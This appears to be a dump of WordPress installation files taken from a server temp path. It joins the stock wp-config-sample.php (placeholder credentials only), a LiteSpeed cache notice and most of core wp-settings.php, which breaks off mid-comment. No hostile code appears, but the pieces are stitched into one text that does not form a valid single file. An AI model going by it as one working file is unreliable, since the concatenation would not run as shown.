/home/crealab/.cagefs/tmp/phpfRBzo6
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );
/** Database username */
define( 'DB_USER', 'username_here' );
/** Database password */
define( 'DB_PASSWORD', 'password_here' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*
* At the installation time, database tables are created with the specified prefix.
* Changing this value after WordPress is installed will make your site think
* it has not been installed.
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
This file was created by LiteSpeed Web Cache Manager
When this file exists, your LiteSpeed Cache plugin for WordPress will NOT be affected
by Mass Enable/Disable operations performed through LiteSpeed Web Cache Manager.
Please DO NOT ATTEMPT to remove this file unless you understand the above.
<?php
/**
* Used to set up and fix common variables and include
* the WordPress procedural and class library.
*
* Allows for some configuration in wp-config.php (see default-constants.php)
*
* @package WordPress
*/
/**
* Stores the location of the WordPress directory of functions, classes, and core content.
*
* @since 1.0.0
*/
define( 'WPINC', 'wp-includes' );
/**
* Version information for the current WordPress release.
*
* These can't be directly globalized in version.php. When updating,
* include version.php from another installation and don't override
* these values if already set.
*
* @global string $wp_version The WordPress version string.
* @global int $wp_db_version WordPress database version.
* @global string $tinymce_version TinyMCE version.
* @global string $required_php_version The minimum required PHP version string.
* @global string[] $required_php_extensions The names of required PHP extensions.
* @global string $required_mysql_version The minimum required MySQL version string.
* @global string $wp_local_package Locale code of the package.
*/
global $wp_version, $wp_db_version, $tinymce_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wp_local_package;
require ABSPATH . WPINC . '/version.php';
require ABSPATH . WPINC . '/compat-utf8.php';
require ABSPATH . WPINC . '/compat.php';
require ABSPATH . WPINC . '/load.php';
// Check the server requirements.
wp_check_php_mysql_versions();
// Include files required for initialization.
require ABSPATH . WPINC . '/class-wp-paused-extensions-storage.php';
require ABSPATH . WPINC . '/class-wp-exception.php';
require ABSPATH . WPINC . '/class-wp-fatal-error-handler.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode-cookie-service.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode-key-service.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode-link-service.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode-email-service.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode.php';
require ABSPATH . WPINC . '/error-protection.php';
require ABSPATH . WPINC . '/default-constants.php';
require_once ABSPATH . WPINC . '/plugin.php';
/**
* If not already configured, `$blog_id` will default to 1 in a single site
* configuration. In multisite, it will be overridden by default in ms-settings.php.
*
* @since 2.0.0
*
* @global int $blog_id
*/
global $blog_id;
// Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, SCRIPT_DEBUG, WP_CONTENT_DIR and WP_CACHE.
wp_initial_constants();
// Register the shutdown handler for fatal errors as soon as possible.
wp_register_fatal_error_handler();
// WordPress calculates offsets from UTC.
// phpcs:ignore WordPress.DateTime.RestrictedFunctions.timezone_change_date_default_timezone_set
date_default_timezone_set( 'UTC' );
// Standardize $_SERVER variables across setups.
wp_fix_server_vars();
// Check if the site is in maintenance mode.
wp_maintenance();
// Start loading timer.
timer_start();
// Check if WP_DEBUG mode is enabled.
wp_debug_mode();
/**
* Filters whether to enable loading of the advanced-cache.php drop-in.
*
* This filter runs before it can be used by plugins. It is designed for non-web
* run-times. If false is returned, advanced-cache.php will never be loaded.
*
* @since 4.6.0
*
* @param bool $enable_advanced_cache Whether to enable loading advanced-cache.php (if present).
* Default true.
*/
if ( WP_CACHE && apply_filters( 'enable_loading_advanced_cache_dropin', true ) && file_exists( WP_CONTENT_DIR . '/advanced-cache.php' ) ) {
// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
include WP_CONTENT_DIR . '/advanced-cache.php';
// Re-initialize any hooks added manually by advanced-cache.php.
if ( $wp_filter ) {
$wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
}
}
// Define WP_LANG_DIR if not set.
wp_set_lang_dir();
// Load early WordPress files.
require ABSPATH . WPINC . '/class-wp-list-util.php';
require ABSPATH . WPINC . '/class-wp-token-map.php';
require ABSPATH . WPINC . '/utf8.php';
require ABSPATH . WPINC . '/formatting.php';
require ABSPATH . WPINC . '/meta.php';
require ABSPATH . WPINC . '/functions.php';
require ABSPATH . WPINC . '/class-wp-meta-query.php';
require ABSPATH . WPINC . '/class-wp-matchesmapregex.php';
require ABSPATH . WPINC . '/class-wp.php';
require ABSPATH . WPINC . '/class-wp-error.php';
require ABSPATH . WPINC . '/pomo/mo.php';
require ABSPATH . WPINC . '/l10n/class-wp-translation-controller.php';
require ABSPATH . WPINC . '/l10n/class-wp-translations.php';
require ABSPATH . WPINC . '/l10n/class-wp-translation-file.php';
require ABSPATH . WPINC . '/l10n/class-wp-translation-file-mo.php';
require ABSPATH . WPINC . '/l10n/class-wp-translation-file-php.php';
/**
* @since 0.71
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
global $wpdb;
// Include the wpdb class and, if present, a db.php database drop-in.
require_wp_db();
/**
* @since 3.3.0
*
* @global string $table_prefix The database table prefix.
*/
$GLOBALS['table_prefix'] = $table_prefix;
// Set the database table prefix and the format specifiers for database table columns.
wp_set_wpdb_vars();
// Start the WordPress object cache, or an external object cache if the drop-in is present.
wp_start_object_cache();
// Attach the default filters.
require ABSPATH . WPINC . '/default-filters.php';
// Initialize multisite if enabled.
if ( is_multisite() ) {
require ABSPATH . WPINC . '/class-wp-site-query.php';
require ABSPATH . WPINC . '/class-wp-network-query.php';
require ABSPATH . WPINC . '/ms-blogs.php';
require ABSPATH . WPINC . '/ms-settings.php';
} elseif ( ! defined( 'MULTISITE' ) ) {
define( 'MULTISITE', false );
}
register_shutdown_function( 'shutdown_action_hook' );
// Stop most of WordPress from being loaded if SHORTINIT is enabled.
if ( SHORTINIT ) {
return false;
}
// Load the L10n library.
require_once ABSPATH . WPINC . '/l10n.php';
require_once ABSPATH . WPINC . '/class-wp-textdomain-registry.php';
require_once ABSPATH . WPINC . '/class-wp-locale.php';
require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php';
// Run the installer if WordPress is not installed.
wp_not_installed();
// Load most of WordPress.
require ABSPATH . WPINC . '/class-wp-walker.php';
require ABSPATH . WPINC . '/class-wp-ajax-response.php';
require ABSPATH . WPINC . '/capabilities.php';
require ABSPATH . WPINC . '/class-wp-roles.php';
require ABSPATH . WPINC . '/class-wp-role.php';
require ABSPATH . WPINC . '/class-wp-user.php';
require ABSPATH . WPINC . '/class-wp-query.php';
require ABSPATH . WPINC . '/query.php';
require ABSPATH . WPINC . '/class-wp-date-query.php';
require ABSPATH . WPINC . '/theme.php';
require ABSPATH . WPINC . '/class-wp-theme.php';
require ABSPATH . WPINC . '/class-wp-theme-json-schema.php';
require ABSPATH . WPINC . '/class-wp-theme-json-data.php';
require ABSPATH . WPINC . '/class-wp-theme-json.php';
require ABSPATH . WPINC . '/class-wp-theme-json-resolver.php';
require ABSPATH . WPINC . '/class-wp-duotone.php';
require ABSPATH . WPINC . '/global-styles-and-settings.php';
require ABSPATH . WPINC . '/class-wp-block-template.php';
require ABSPATH . WPINC . '/class-wp-block-templates-registry.php';
require ABSPATH . WPINC . '/block-template-utils.php';
require ABSPATH . WPINC . '/block-template.php';
require ABSPATH . WPINC . '/theme-templates.php';
require ABSPATH . WPINC . '/theme-previews.php';
require ABSPATH . WPINC . '/template.php';
require ABSPATH . WPINC . '/https-detection.php';
require ABSPATH . WPINC . '/https-migration.php';
require ABSPATH . WPINC . '/class-wp-user-request.php';
require ABSPATH . WPINC . '/user.php';
require ABSPATH . WPINC . '/class-wp-user-query.php';
require ABSPATH . WPINC . '/class-wp-session-tokens.php';
require ABSPATH . WPINC . '/class-wp-user-meta-session-tokens.php';
require ABSPATH . WPINC . '/general-template.php';
require ABSPATH . WPINC . '/link-template.php';
require ABSPATH . WPINC . '/author-template.php';
require ABSPATH . WPINC . '/robots-template.php';
require ABSPATH . WPINC . '/post.php';
require ABSPATH . WPINC . '/class-walker-page.php';
require ABSPATH . WPINC . '/class-walker-page-dropdown.php';
require ABSPATH . WPINC . '/class-wp-post-type.php';
require ABSPATH . WPINC . '/class-wp-post.php';
require ABSPATH . WPINC . '/post-template.php';
require ABSPATH . WPINC . '/revision.php';
require ABSPATH . WPINC . '/post-formats.php';
require ABSPATH . WPINC . '/post-thumbnail-template.php';
require ABSPATH . WPINC . '/category.php';
require ABSPATH . WPINC . '/class-walker-category.php';
require ABSPATH . WPINC . '/class-walker-category-dropdown.php';
require ABSPATH . WPINC . '/category-template.php';
require ABSPATH . WPINC . '/comment.php';
require ABSPATH . WPINC . '/class-wp-comment.php';
require ABSPATH . WPINC . '/class-wp-comment-query.php';
require ABSPATH . WPINC . '/class-walker-comment.php';
require ABSPATH . WPINC . '/comment-template.php';
require ABSPATH . WPINC . '/rewrite.php';
require ABSPATH . WPINC . '/class-wp-rewrite.php';
require ABSPATH . WPINC . '/feed.php';
require ABSPATH . WPINC . '/bookmark.php';
require ABSPATH . WPINC . '/bookmark-template.php';
require ABSPATH . WPINC . '/kses.php';
require ABSPATH . WPINC . '/cron.php';
require ABSPATH . WPINC . '/deprecated.php';
require ABSPATH . WPINC . '/script-loader.php';
require ABSPATH . WPINC . '/taxonomy.php';
require ABSPATH . WPINC . '/class-wp-taxonomy.php';
require ABSPATH . WPINC . '/class-wp-term.php';
require ABSPATH . WPINC . '/class-wp-term-query.php';
require ABSPATH . WPINC . '/class-wp-tax-query.php';
require ABSPATH . WPINC . '/update.php';
require ABSPATH . WPINC . '/canonical.php';
require ABSPATH . WPINC . '/shortcodes.php';
require ABSPATH . WPINC . '/embed.php';
require ABSPATH . WPINC . '/class-wp-embed.php';
require ABSPATH . WPINC . '/class-wp-oembed.php';
require ABSPATH . WPINC . '/class-wp-oembed-controller.php';
require ABSPATH . WPINC . '/media.php';
require ABSPATH . WPINC . '/http.php';
require ABSPATH . WPINC . '/html-api/html5-named-character-references.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-attribute-token.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-span.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-doctype-info.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-text-replacement.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-decoder.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-tag-processor.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-unsupported-exception.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-active-formatting-elements.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-open-elements.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-token.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-stack-event.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-processor-state.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-processor.php';
require ABSPATH . WPINC . '/class-wp-block-processor.php';
require ABSPATH . WPINC . '/class-wp-http.php';
require ABSPATH . WPINC . '/class-wp-http-streams.php';
require ABSPATH . WPINC . '/class-wp-http-curl.php';
require ABSPATH . WPINC . '/class-wp-http-proxy.php';
require ABSPATH . WPINC . '/class-wp-http-cookie.php';
require ABSPATH . WPINC . '/class-wp-http-encoding.php';
require ABSPATH . WPINC . '/class-wp-http-response.php';
require ABSPATH . WPINC . '/class-wp-http-requests-response.php';
require ABSPATH . WPINC . '/class-wp-http-requests-hooks.php';
require ABSPATH . WPINC . '/widgets.php';
require ABSPATH . WPINC . '/class-wp-widget.php';
require ABSPATH . WPINC . '/class-wp-widget-factory.php';
require ABSPATH . WPINC . '/nav-menu-template.php';
require ABSPATH . WPINC . '/nav-menu.php';
require ABSPATH . WPINC . '/admin-bar.php';
require ABSPATH . WPINC . '/class-wp-application-passwords.php';
require ABSPATH . WPINC . '/abilities-api/class-wp-ability-category.php';
require ABSPATH . WPINC . '/abilities-api/class-wp-ability-categories-registry.php';
require ABSPATH . WPINC . '/abilities-api/class-wp-ability.php';
require ABSPATH . WPINC . '/abilities-api/class-wp-abilities-registry.php';
require ABSPATH . WPINC . '/abilities-api.php';
require ABSPATH . WPINC . '/abilities.php';
require ABSPATH . WPINC . '/rest-api.php';
require ABSPATH . WPINC . '/rest-api/class-wp-rest-server.php';
require ABSPATH . WPINC . '/rest-api/class-wp-rest-response.php';
require ABSPATH . WPINC . '/rest-api/class-wp-rest-request.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-posts-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-attachments-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-global-styles-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-post-types-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-post-statuses-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-revisions-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-template-revisions-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-autosaves-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-taxonomies-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-terms-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-menu-items-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-menus-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-menu-locations-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-users-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-comments-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-search-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-blocks-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-types-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-renderer-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-settings-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-themes-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-plugins-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-directory-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-patterns-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-application-passwords-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-site-health-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-sidebars-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-widget-types-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-widgets-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-templates-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-url-details-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-font-families-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-font-faces-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-font-collections-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-comment-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-post-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-term-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-user-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/search/class-wp-rest-search-handler.php';
require ABSPATH . WPINC . '/rest-api/search/class-wp-rest-post-search-handler.php';
require ABSPATH . WPINC . '/rest-api/search/class-wp-rest-term-search-handler.php';
require ABSPATH . WPINC . '/rest-api/search/class-wp-rest-post-format-search-handler.php';
require ABSPATH . WPINC . '/sitemaps.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-index.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-provider.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-registry.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-renderer.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-stylesheet.php';
require ABSPATH . WPINC . '/sitemaps/providers/class-wp-sitemaps-posts.php';
require ABSPATH . WPINC . '/sitemaps/providers/class-wp-sitemaps-taxonomies.php';
require ABSPATH . WPINC . '/sitemaps/providers/class-wp-sitemaps-users.php';
require ABSPATH . WPINC . '/class-wp-block-bindings-source.php';
require ABSPATH . WPINC . '/class-wp-block-bindings-registry.php';
require ABSPATH . WPINC . '/class-wp-block-editor-context.php';
require ABSPATH . WPINC . '/class-wp-block-type.php';
require ABSPATH . WPINC . '/class-wp-block-pattern-categories-registry.php';
require ABSPATH . WPINC . '/class-wp-block-patterns-registry.php';
require ABSPATH . WPINC . '/class-wp-block-styles-registry.php';
require ABSPATH . WPINC . '/class-wp-block-type-registry.php';
require ABSPATH . WPINC . '/class-wp-block.php';
require ABSPATH . WPINC . '/class-wp-block-list.php';
require ABSPATH . WPINC . '/class-wp-block-metadata-registry.php';
require ABSPATH . WPINC . '/class-wp-block-parser-block.php';
require ABSPATH . WPINC . '/class-wp-block-parser-frame.php';
require ABSPATH . WPINC . '/class-wp-block-parser.php';
require ABSPATH . WPINC . '/class-wp-classic-to-block-menu-converter.php';
require ABSPATH . WPINC . '/class-wp-navigation-fallback.php';
require ABSPATH . WPINC . '/block-bindings.php';
require ABSPATH . WPINC . '/block-bindings/pattern-overrides.php';
require ABSPATH . WPINC . '/block-bindings/post-data.php';
require ABSPATH . WPINC . '/block-bindings/post-meta.php';
require ABSPATH . WPINC . '/block-bindings/term-data.php';
require ABSPATH . WPINC . '/blocks.php';
require ABSPATH . WPINC . '/blocks/index.php';
require ABSPATH . WPINC . '/block-editor.php';
require ABSPATH . WPINC . '/block-patterns.php';
require ABSPATH . WPINC . '/class-wp-block-supports.php';
require ABSPATH . WPINC . '/block-supports/utils.php';
require ABSPATH . WPINC . '/block-supports/align.php';
require ABSPATH . WPINC . '/block-supports/custom-classname.php';
require ABSPATH . WPINC . '/block-supports/generated-classname.php';
require ABSPATH . WPINC . '/block-supports/settings.php';
require ABSPATH . WPINC . '/block-supports/elements.php';
require ABSPATH . WPINC . '/block-supports/colors.php';
require ABSPATH . WPINC . '/block-supports/typography.php';
require ABSPATH . WPINC . '/block-supports/border.php';
require ABSPATH . WPINC . '/block-supports/layout.php';
require ABSPATH . WPINC . '/block-supports/position.php';
require ABSPATH . WPINC . '/block-supports/spacing.php';
require ABSPATH . WPINC . '/block-supports/dimensions.php';
require ABSPATH . WPINC . '/block-supports/duotone.php';
require ABSPATH . WPINC . '/block-supports/shadow.php';
require ABSPATH . WPINC . '/block-supports/background.php';
require ABSPATH . WPINC . '/block-supports/block-style-variations.php';
require ABSPATH . WPINC . '/block-supports/aria-label.php';
require ABSPATH . WPINC . '/block-supports/block-visibility.php';
require ABSPATH . WPINC . '/style-engine.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine-css-declarations.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine-css-rule.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine-css-rules-store.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine-processor.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-face-resolver.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-collection.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-face.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-library.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-utils.php';
require ABSPATH . WPINC . '/fonts.php';
require ABSPATH . WPINC . '/class-wp-script-modules.php';
require ABSPATH . WPINC . '/script-modules.php';
require ABSPATH . WPINC . '/interactivity-api/class-wp-interactivity-api.php';
require ABSPATH . WPINC . '/interactivity-api/class-wp-interactivity-api-directives-processor.php';
require ABSPATH . WPINC . '/interactivity-api/interactivity-api.php';
require ABSPATH . WPINC . '/class-wp-plugin-dependencies.php';
require ABSPATH . WPINC . '/class-wp-url-pattern-prefixer.php';
require ABSPATH . WPINC . '/class-wp-speculation-rules.php';
require ABSPATH . WPINC . '/speculative-loading.php';
add_action( 'after_setup_theme', array( wp_script_modules(), 'add_hooks' ) );
add_action( 'after_setup_theme', array( wp_interactivity(), 'add_hooks' ) );
/**
* @since 3.3.0
*
* @global WP_Embed $wp_embed WordPress Embed object.
*/
$GLOBALS['wp_embed'] = new WP_Embed();
/**
* WordPress Textdomain Registry object.
*
* Used to support just-in-time translations for manually loaded text domains.
*
* @since 6.1.0
*
* @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
*/
$GLOBALS['wp_textdomain_registry'] = new WP_Textdomain_Registry();
$GLOBALS['wp_textdomain_registry']->init();
// Load multisite-specific files.
if ( is_multisite() ) {
require ABSPATH . WPINC . '/ms-functions.php';
require ABSPATH . WPINC . '/ms-default-filters.php';
require ABSPATH . WPINC . '/ms-deprecated.php';
}
// Define constants that rely on the API to obtain the default value.
// Define must-use plugin directory constants, which may be overridden in the sunrise.php drop-in.
wp_plugin_directory_constants();
/**
* @since 3.9.0
*
* @global array $wp_plugin_paths
*/
$GLOBALS['wp_plugin_paths'] = array();
// Load must-use plugins.
foreach ( wp_get_mu_plugins() as $mu_plugin ) {
$_wp_plugin_file = $mu_plugin;
include_once $mu_plugin;
$mu_plugin = $_wp_plugin_file; // Avoid stomping of the $mu_plugin variable in a plugin.
/**
* Fires once a single must-use plugin has loaded.
*
* @since 5.1.0
*
* @param string $mu_plugin Full path to the plugin's main file.
*/
do_action( 'mu_plugin_loaded', $mu_plugin );
}
unset( $mu_plugin, $_wp_plugin_file );
// Load network activated plugins.
if ( is_multisite() ) {
foreach ( wp_get_active_network_plugins() as $network_plugin ) {
wp_register_plugin_realpath( $network_plugin );
$_wp_plugin_file = $network_plugin;
include_once $network_plugin;
$network_plugin = $_wp_plugin_file; // Avoid stomping of the $network_plugin variable in a plugin.
/**
* Fires once a single network-activated plugin has loaded.
*
* @since 5.1.0
*
* @param string $network_plugin Full path to the plugin's main file.
*/
do_action( 'network_plugin_loaded', $network_plugin );
}
unset( $network_plugin, $_wp_plugin_file );
}
/**
* Fires once all must-use and network-activated plugins have loaded.
*
* @since 2.8.0
*/
do_action( 'muplugins_loaded' );
if ( is_multisite() ) {
ms_cookie_constants();
}
// Define constants after multisite is loaded.
wp_cookie_constants();
// Define and enforce our SSL constants.
wp_ssl_constants();
// Create common globals.
require ABSPATH . WPINC . '/vars.php';
// Make taxonomies and posts available to plugins and themes.
// @plugin authors: warning: these get registered again on the init hook.
create_initial_taxonomies();
create_initial_post_types();
wp_start_scraping_edited_file_errors();
// Register the default theme directory root.
register_theme_directory( get_theme_root() );
if ( ! is_multisite() && wp_is_fatal_error_handler_enabled() ) {
// Handle users requesting a recovery mode link and initiating recovery mode.
wp_recovery_mode()->initialize();
}
// To make get_plugin_data() available in a way that's compatible with plugins also loading this file, see #62244.
require_once ABSPATH . 'wp-admin/includes/plugin.php';
// Load active plugins.
foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
wp_register_plugin_realpath( $plugin );
$plugin_data = get_plugin_data( $plugin, false, false );
$textdomain = $plugin_data['TextDomain'];
if ( $textdomain ) {
if ( $plugin_data['DomainPath'] ) {
$GLOBALS['wp_textdomain_registry']->set_custom_path( $textdomain, dirname( $plugin ) . $plugin_data['DomainPath'] );
} else {
$GLOBALS['wp_textdomain_registry']->set_custom_path( $textdomain, dirname( $plugin ) );
}
}
$_wp_plugin_file = $plugin;
include_once $plugin;
$plugin = $_wp_plugin_file; // Avoid stomping of the $plugin variable in a plugin.
/**
* Fires once a single activated plugin has loaded.
*
* @since 5.1.0
*
* @param string $plugin Full path to the plugin's main file.
*/
do_action( 'plugin_loaded', $plugin );
}
unset( $plugin, $_wp_plugin_file, $plugin_data, $textdomain );
// Load pluggable functions.
require ABSPATH . WPINC . '/pluggable.php';
require ABSPATH . WPINC . '/pluggable-deprecated.php';
// Set internal encoding.
wp_set_internal_encoding();
// Run wp_cache_postload() if object cache is enabled and the function exists.
if ( WP_CACHE && function_exists( 'wp_cache_postload' ) ) {
wp_cache_postload();
}
/**
* Fires once activated plugins have loaded.
*
* Pluggable functions are also available at this point in the loading order.
*
* @since 1.5.0
*/
do_action( 'plugins_loaded' );
// Define constants which affect functionality if not already defined.
wp_functionality_constants();
// Add magic quotes and set up $_REQUEST ( $_GET + $_POST ).
wp_magic_quotes();
/**
* Fires when comment cookies are sanitized.
*
* @since 2.0.11
*/
do_action( 'sanitize_comment_cookies' );
/**
* WordPress Query object
*
* @since 2.0.0
*
* @global WP_Query $wp_the_query WordPress Query object.
*/
$GLOBALS['wp_the_query'] = new WP_Query();
/**
* Holds the reference to {@see $wp_the_query}.
* Use this global for WordPress queries
*
* @since 1.5.0
*
* @global WP_Query $wp_query WordPress Query object.
*/
$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
/**
* Holds the WordPress Rewrite object for creating pretty URLs
*
* @since 1.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*/
$GLOBALS['wp_rewrite'] = new WP_Rewrite();
/**
* WordPress Object
*
* @since 2.0.0
*
* @global WP $wp Current WordPress environment instance.
*/
$GLOBALS['wp'] = new WP();
/**
* WordPress Widget Factory Object
*
* @since 2.8.0
*
* @global WP_Widget_Factory $wp_widget_factory
*/
$GLOBALS['wp_widget_factory'] = new WP_Widget_Factory();
/**
* WordPress User Roles
*
* @since 2.0.0
*
* @global WP_Roles $wp_roles WordPress role management object.
*/
$GLOBALS['wp_roles'] = new WP_Roles();
/**
* Fires before the theme is loaded.
*
* @since 2.6.0
*/
do_action( 'setup_theme' );
// Define the template related constants and globals.
wp_templating_constants();
wp_set_template_globals();
// Load the default text localization domain.
load_default_textdomain();
$locale = get_locale();
$locale_file = WP_LANG_DIR . "/$locale.php";
if ( ( 0 === validate_file( $locale ) ) && is_readable( $locale_file ) ) {
require $locale_file;
}
unset( $locale_file );
/**
* WordPress Locale object for loading locale domain date and various strings.
*
* @since 2.1.0
*
* @global WP_Locale $wp_locale WordPress date and time locale object.
*/
$GLOBALS['wp_locale'] = new WP_Locale();
/**
* WordPress Locale Switcher object for switching locales.
*
* @since 4.7.0
*
